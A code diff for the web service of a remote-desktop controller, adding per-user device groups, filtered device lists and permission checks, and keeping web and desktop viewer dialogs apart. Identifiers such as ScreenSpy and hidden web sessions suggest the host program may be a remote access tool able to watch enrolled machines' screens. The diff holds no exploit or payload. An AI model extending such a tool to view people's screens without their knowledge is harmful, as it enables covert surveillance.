const role = document.getElementById('new-role').value;
const groupsSection = document.getElementById('groups-section');
groupsSection.style.display = (role === 'admin') ? 'none' : 'block';
} }
function closeUsersModal() { function closeUsersModal() {
@@ -1685,8 +1722,12 @@ inline std::string GetWebPageHTML() {
return; return;
} }
// Collect selected groups
const checkboxes = document.querySelectorAll('#groups-checkboxes input[type="checkbox"]:checked');
const allowed_groups = Array.from(checkboxes).map(cb => cb.value);
if (ws && ws.readyState === WebSocket.OPEN && token) { if (ws && ws.readyState === WebSocket.OPEN && token) {
ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role })); ws.send(JSON.stringify({ cmd: 'create_user', token, username, password, role, allowed_groups }));
} }
} }
@@ -1712,10 +1753,14 @@ inline std::string GetWebPageHTML() {
container.innerHTML = users.map(u => { container.innerHTML = users.map(u => {
const isAdmin = u.role === 'admin'; const isAdmin = u.role === 'admin';
const canDelete = u.username !== 'admin'; // Cannot delete built-in admin const canDelete = u.username !== 'admin'; // Cannot delete built-in admin
const groups = u.allowed_groups || [];
const groupsText = u.username === 'admin' ? '(all)' :
(groups.length > 0 ? groups.join(', ') : '(none)');
return '<div class="user-item">' + return '<div class="user-item">' +
'<div class="user-info">' + '<div class="user-info">' +
'<div class="username">' + escapeHtml(u.username) + '</div>' + '<div class="username">' + escapeHtml(u.username) + '</div>' +
'<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' + '<div class="role ' + (isAdmin ? 'admin' : '') + '">' + u.role + '</div>' +
'<div class="groups" style="font-size:11px;color:#888;margin-top:2px;">Groups: ' + escapeHtml(groupsText) + '</div>' +
'</div>' + '</div>' +
(canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') + (canDelete ? '<button class="delete-btn" onclick="deleteUser(\'' + escapeHtml(u.username) + '\')">Delete</button>' : '') +
'</div>'; '</div>';

View File

@@ -11,6 +11,7 @@
#include <filesystem> #include <filesystem>
#include <fstream> #include <fstream>
#include <shlobj.h> #include <shlobj.h>
#include <set>
// Algorithm constants (same as ScreenSpyDlg.cpp) // Algorithm constants (same as ScreenSpyDlg.cpp)
#define ALGORITHM_H264 2 #define ALGORITHM_H264 2
@@ -363,6 +364,8 @@ void CWebService::ServerThread(int port) {
HandleDeleteUser(ws_ptr, msg); HandleDeleteUser(ws_ptr, msg);
} else if (cmd == "list_users") { } else if (cmd == "list_users") {
HandleListUsers(ws_ptr, token); HandleListUsers(ws_ptr, token);
} else if (cmd == "get_groups") {
HandleGetGroups(ws_ptr, token);
} }
} }
}); });
@@ -566,7 +569,7 @@ void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
return; return;
} }
SendText(ws_ptr, BuildDeviceListJson()); SendText(ws_ptr, BuildDeviceListJson(username));
} }
void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) { void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) {
@@ -588,6 +591,32 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
return; return;
} }
// Check group permission (admin can access all devices)
if (username != "admin") {
std::string deviceGroup = ctx->GetGroupName();
if (deviceGroup.empty()) deviceGroup = "default";
bool hasAccess = false;
{
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
for (const auto& g : u.allowed_groups) {
if (g == deviceGroup) {
hasAccess = true;
break;
}
}
break;
}
}
}
if (!hasAccess) {
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Permission denied"));
return;
}
}
// Check max clients per device // Check max clients per device
int current_count = GetWebClientCount(device_id); int current_count = GetWebClientCount(device_id);
if (current_count >= m_nMaxClientsPerDevice) { if (current_count >= m_nMaxClientsPerDevice) {
@@ -954,12 +983,23 @@ void CWebService::HandleCreateUser(void* ws_ptr, const std::string& msg) {
std::string newPassword = root.get("password", "").asString(); std::string newPassword = root.get("password", "").asString();
std::string newRole = root.get("role", "viewer").asString(); std::string newRole = root.get("role", "viewer").asString();
// Parse allowed_groups array
std::vector<std::string> allowedGroups;
const Json::Value& groups = root["allowed_groups"];
if (groups.isArray()) {
for (const auto& g : groups) {
if (g.isString() && !g.asString().empty()) {
allowedGroups.push_back(g.asString());
}
}
}
if (newUsername.empty() || newPassword.empty()) { if (newUsername.empty() || newPassword.empty()) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required")); SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
return; return;
} }
if (CreateUser(newUsername, newPassword, newRole)) { if (CreateUser(newUsername, newPassword, newRole, allowedGroups)) {
SendText(ws_ptr, BuildJsonResponse("create_user_result", true)); SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
} else { } else {
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)")); SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
@@ -1009,19 +1049,28 @@ void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
return; return;
} }
auto users = ListUsers();
Json::Value res; Json::Value res;
res["cmd"] = "list_users_result"; res["cmd"] = "list_users_result";
res["ok"] = true; res["ok"] = true;
Json::Value usersArray(Json::arrayValue); Json::Value usersArray(Json::arrayValue);
for (const auto& u : users) { {
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
Json::Value user; Json::Value user;
user["username"] = u.first; user["username"] = u.username;
user["role"] = u.second; user["role"] = u.role;
// Include allowed_groups
Json::Value groups(Json::arrayValue);
for (const auto& g : u.allowed_groups) {
groups.append(g);
}
user["allowed_groups"] = groups;
usersArray.append(user); usersArray.append(user);
} }
}
res["users"] = usersArray; res["users"] = usersArray;
Json::StreamWriterBuilder builder; Json::StreamWriterBuilder builder;
@@ -1030,6 +1079,48 @@ void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
SendText(ws_ptr, json); SendText(ws_ptr, json);
} }
void CWebService::HandleGetGroups(void* ws_ptr, const std::string& token) {
std::string username, role;
if (!ValidateToken(token, username, role)) {
SendText(ws_ptr, BuildJsonResponse("groups", false, "Invalid token"));
return;
}
// Only admin can get groups list (for user management)
if (role != "admin") {
SendText(ws_ptr, BuildJsonResponse("groups", false, "Permission denied"));
return;
}
// Collect all unique groups from online devices
std::set<std::string> groups;
groups.insert("default"); // Always include default group
if (m_pParentDlg) {
EnterCriticalSection(&m_pParentDlg->m_cs);
for (context* ctx : m_pParentDlg->m_HostList) {
if (!ctx || !ctx->IsLogin()) continue;
std::string g = ctx->GetGroupName();
groups.insert(g.empty() ? "default" : g);
}
LeaveCriticalSection(&m_pParentDlg->m_cs);
}
// Build response
Json::Value res;
res["cmd"] = "groups";
res["ok"] = true;
res["groups"] = Json::Value(Json::arrayValue);
for (const auto& g : groups) {
res["groups"].append(g);
}
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
SendText(ws_ptr, json);
}
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
// Token Management (delegated to WebServiceAuth module) // Token Management (delegated to WebServiceAuth module)
////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////
@@ -1170,6 +1261,14 @@ void CWebService::LoadUsers() {
user.salt = u.get("salt", "").asString(); user.salt = u.get("salt", "").asString();
user.role = u.get("role", "viewer").asString(); user.role = u.get("role", "viewer").asString();
// Load allowed_groups
const Json::Value& groups = u["allowed_groups"];
if (groups.isArray()) {
for (const auto& g : groups) {
user.allowed_groups.push_back(g.asString());
}
}
if (!user.password_hash.empty()) { if (!user.password_hash.empty()) {
m_Users.push_back(user); m_Users.push_back(user);
loaded++; loaded++;
@@ -1197,6 +1296,14 @@ void CWebService::SaveUsers() {
user["password_hash"] = u.password_hash; user["password_hash"] = u.password_hash;
user["salt"] = u.salt; user["salt"] = u.salt;
user["role"] = u.role; user["role"] = u.role;
// Save allowed_groups
Json::Value groups(Json::arrayValue);
for (const auto& g : u.allowed_groups) {
groups.append(g);
}
user["allowed_groups"] = groups;
users.append(user); users.append(user);
} }
@@ -1217,7 +1324,8 @@ void CWebService::SaveUsers() {
Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size()); Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
} }
bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role) { bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role,
const std::vector<std::string>& allowed_groups) {
if (username.empty() || password.empty()) return false; if (username.empty() || password.empty()) return false;
if (username == "admin") return false; // Cannot create user named "admin" if (username == "admin") return false; // Cannot create user named "admin"
if (role != "admin" && role != "viewer") return false; if (role != "admin" && role != "viewer") return false;
@@ -1236,9 +1344,11 @@ bool CWebService::CreateUser(const std::string& username, const std::string& pas
user.salt = GenerateSalt(); user.salt = GenerateSalt();
user.password_hash = WSAuth::ComputeSHA256(password + user.salt); user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
user.role = role; user.role = role;
user.allowed_groups = allowed_groups;
m_Users.push_back(user); m_Users.push_back(user);
Mprintf("[WebService] Created user: %s (role: %s)\n", username.c_str(), role.c_str()); Mprintf("[WebService] Created user: %s (role: %s, groups: %d)\n",
username.c_str(), role.c_str(), (int)allowed_groups.size());
} }
// Save to file (outside lock scope since SaveUsers acquires its own lock) // Save to file (outside lock scope since SaveUsers acquires its own lock)
@@ -1295,17 +1405,47 @@ std::string CWebService::BuildJsonResponse(const std::string& cmd, bool ok, cons
return Json::writeString(builder, res); return Json::writeString(builder, res);
} }
std::string CWebService::BuildDeviceListJson() { std::string CWebService::BuildDeviceListJson(const std::string& username) {
Json::Value res; Json::Value res;
res["cmd"] = "device_list"; res["cmd"] = "device_list";
res["devices"] = Json::Value(Json::arrayValue); res["devices"] = Json::Value(Json::arrayValue);
// Get user's allowed groups for filtering (skip for admin or empty username)
std::vector<std::string> allowedGroups;
bool filterByGroup = false;
if (!username.empty() && username != "admin") {
std::lock_guard<std::mutex> lock(m_UsersMutex);
for (const auto& u : m_Users) {
if (u.username == username) {
allowedGroups = u.allowed_groups;
filterByGroup = true;
break;
}
}
}
if (m_pParentDlg) { if (m_pParentDlg) {
// Access device list with lock // Access device list with lock
EnterCriticalSection(&m_pParentDlg->m_cs); EnterCriticalSection(&m_pParentDlg->m_cs);
for (context* ctx : m_pParentDlg->m_HostList) { for (context* ctx : m_pParentDlg->m_HostList) {
if (!ctx || !ctx->IsLogin()) continue; if (!ctx || !ctx->IsLogin()) continue;
// Get device group (empty = "default")
std::string deviceGroup = ctx->GetGroupName();
if (deviceGroup.empty()) deviceGroup = "default";
// Filter by allowed groups if user is not admin
if (filterByGroup) {
bool allowed = false;
for (const auto& g : allowedGroups) {
if (g == deviceGroup) {
allowed = true;
break;
}
}
if (!allowed) continue; // Skip device not in allowed groups
}
Json::Value device; Json::Value device;
// Use string for ID to avoid JavaScript number precision loss // Use string for ID to avoid JavaScript number precision loss
device["id"] = std::to_string(ctx->GetClientID()); device["id"] = std::to_string(ctx->GetClientID());
@@ -1332,6 +1472,9 @@ std::string CWebService::BuildDeviceListJson() {
device["activeWindow"] = AnsiToUtf8(activeWindow); device["activeWindow"] = AnsiToUtf8(activeWindow);
device["online"] = true; device["online"] = true;
// Add device group to response
device["group"] = deviceGroup;
// Get screen info from client's reported resolution // Get screen info from client's reported resolution
// Format: "n:MxN" where n=monitor count, M=width, N=height // Format: "n:MxN" where n=monitor count, M=width, N=height
CString resolution = ctx->GetAdditionalData(RES_RESOLUTION); CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
@@ -1509,9 +1652,13 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
context* ctx = m_pParentDlg->FindHost(device_id); context* ctx = m_pParentDlg->FindHost(device_id);
if (!ctx) return false; if (!ctx) return false;
// Close any existing remote desktop for this device first // Check if there's already a Web session for this device
// This prevents duplicate dialogs when user reconnects quickly // Only reuse if Web has already triggered AND a Web dialog exists
m_pParentDlg->CloseRemoteDesktopByClientID(device_id); // This ensures MFC and Web have independent dialogs
if (IsWebTriggered(device_id) && HasActiveSession(device_id)) {
Mprintf("[WebService] Reusing existing Web session for device %llu\n", device_id);
return true; // Web session exists, new web user joins watching
}
// Mark as web-triggered (dialog should be hidden) // Mark as web-triggered (dialog should be hidden)
{ {
@@ -1520,7 +1667,8 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
} }
// Send COMMAND_SCREEN_SPY with H264 algorithm // Send COMMAND_SCREEN_SPY with H264 algorithm
// Format: [COMMAND_SCREEN_SPY:1][DXGI:1][Algorithm:1][MultiScreen:1] // If client is already capturing (MFC opened first), it will re-send TOKEN_BITMAPINFO
// This creates a new hidden Web dialog while MFC dialog remains visible
BYTE bToken[32] = { 0 }; BYTE bToken[32] = { 0 };
bToken[0] = COMMAND_SCREEN_SPY; bToken[0] = COMMAND_SCREEN_SPY;
bToken[1] = 0; // DXGI mode: 0=GDI bToken[1] = 0; // DXGI mode: 0=GDI
@@ -1544,10 +1692,11 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
} }
} }
// If no more web clients watching, close the remote desktop // If no more web clients watching, close only the Web session dialog
// MFC dialogs remain open
if (watchingCount == 0) { if (watchingCount == 0) {
ClearWebTriggered(device_id); ClearWebTriggered(device_id);
m_pParentDlg->CloseRemoteDesktopByClientID(device_id); m_pParentDlg->CloseWebRemoteDesktopByClientID(device_id);
} }
} }
@@ -1563,10 +1712,13 @@ void CWebService::RegisterScreenContext(uint64_t device_id, CONTEXT_OBJECT* ctx)
} }
void CWebService::UnregisterScreenContext(uint64_t device_id) { void CWebService::UnregisterScreenContext(uint64_t device_id) {
if (!m_bRunning) return; // Always clean up, even if WebService is stopping
// This prevents stale pointers in m_ScreenContexts
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex); std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
m_ScreenContexts.erase(device_id); m_ScreenContexts.erase(device_id);
if (m_bRunning) {
Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id); Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id);
}
} }
CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) { CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) {
@@ -1666,6 +1818,26 @@ void CWebService::ClearWebTriggered(uint64_t device_id) {
m_WebTriggeredDevices.erase(device_id); m_WebTriggeredDevices.erase(device_id);
} }
void CWebService::SetMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
m_MfcTriggeredDevices.insert(device_id);
}
bool CWebService::IsMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
return m_MfcTriggeredDevices.find(device_id) != m_MfcTriggeredDevices.end();
}
void CWebService::ClearMfcTriggered(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
m_MfcTriggeredDevices.erase(device_id);
}
bool CWebService::HasActiveSession(uint64_t device_id) {
std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
return m_ScreenContexts.find(device_id) != m_ScreenContexts.end();
}
void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) { void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) {
if (!m_bRunning || m_bStopping) return; if (!m_bRunning || m_bStopping) return;

View File

@@ -43,6 +43,7 @@ struct WebUser {
std::string password_hash; // SHA256(password + salt) std::string password_hash; // SHA256(password + salt)
std::string salt; std::string salt;
std::string role; // "admin" | "viewer" std::string role; // "admin" | "viewer"
std::vector<std::string> allowed_groups; // Groups this user can view (empty = no access, admin = all)
}; };
// Device info for web clients // Device info for web clients
@@ -79,7 +80,8 @@ public:
void SetAdminPassword(const std::string& password); void SetAdminPassword(const std::string& password);
// User management // User management
bool CreateUser(const std::string& username, const std::string& password, const std::string& role); bool CreateUser(const std::string& username, const std::string& password, const std::string& role,
const std::vector<std::string>& allowed_groups = {});
bool DeleteUser(const std::string& username); bool DeleteUser(const std::string& username);
std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...] std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...]
@@ -144,7 +146,7 @@ private:
// JSON helpers // JSON helpers
std::string BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg = ""); std::string BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg = "");
std::string BuildDeviceListJson(); std::string BuildDeviceListJson(const std::string& username = "");
// Password verification // Password verification
bool VerifyPassword(const std::string& input, const WebUser& user); bool VerifyPassword(const std::string& input, const WebUser& user);
@@ -157,6 +159,7 @@ private:
void HandleCreateUser(void* ws_ptr, const std::string& msg); void HandleCreateUser(void* ws_ptr, const std::string& msg);
void HandleDeleteUser(void* ws_ptr, const std::string& msg); void HandleDeleteUser(void* ws_ptr, const std::string& msg);
void HandleListUsers(void* ws_ptr, const std::string& token); void HandleListUsers(void* ws_ptr, const std::string& token);
void HandleGetGroups(void* ws_ptr, const std::string& token);
// Send to WebSocket // Send to WebSocket
void SendText(void* ws_ptr, const std::string& text); void SendText(void* ws_ptr, const std::string& text);
@@ -224,6 +227,14 @@ public:
bool IsWebTriggered(uint64_t device_id); bool IsWebTriggered(uint64_t device_id);
void ClearWebTriggered(uint64_t device_id); void ClearWebTriggered(uint64_t device_id);
// MFC trigger management - MFC dialogs should always be visible
void SetMfcTriggered(uint64_t device_id);
bool IsMfcTriggered(uint64_t device_id);
void ClearMfcTriggered(uint64_t device_id);
// Check if a remote desktop session already exists for device
bool HasActiveSession(uint64_t device_id);
// Config accessors // Config accessors
void SetHideWebSessions(bool hide) { m_bHideWebSessions = hide; } void SetHideWebSessions(bool hide) { m_bHideWebSessions = hide; }
bool GetHideWebSessions() const { return m_bHideWebSessions; } bool GetHideWebSessions() const { return m_bHideWebSessions; }
@@ -240,6 +251,10 @@ private:
// Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT // Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts; std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
std::mutex m_ScreenContextsMutex; std::mutex m_ScreenContextsMutex;
// MFC triggered devices: dialogs created by MFC should always be visible
std::set<uint64_t> m_MfcTriggeredDevices;
std::mutex m_MfcTriggeredMutex;
}; };
// Global accessor // Global accessor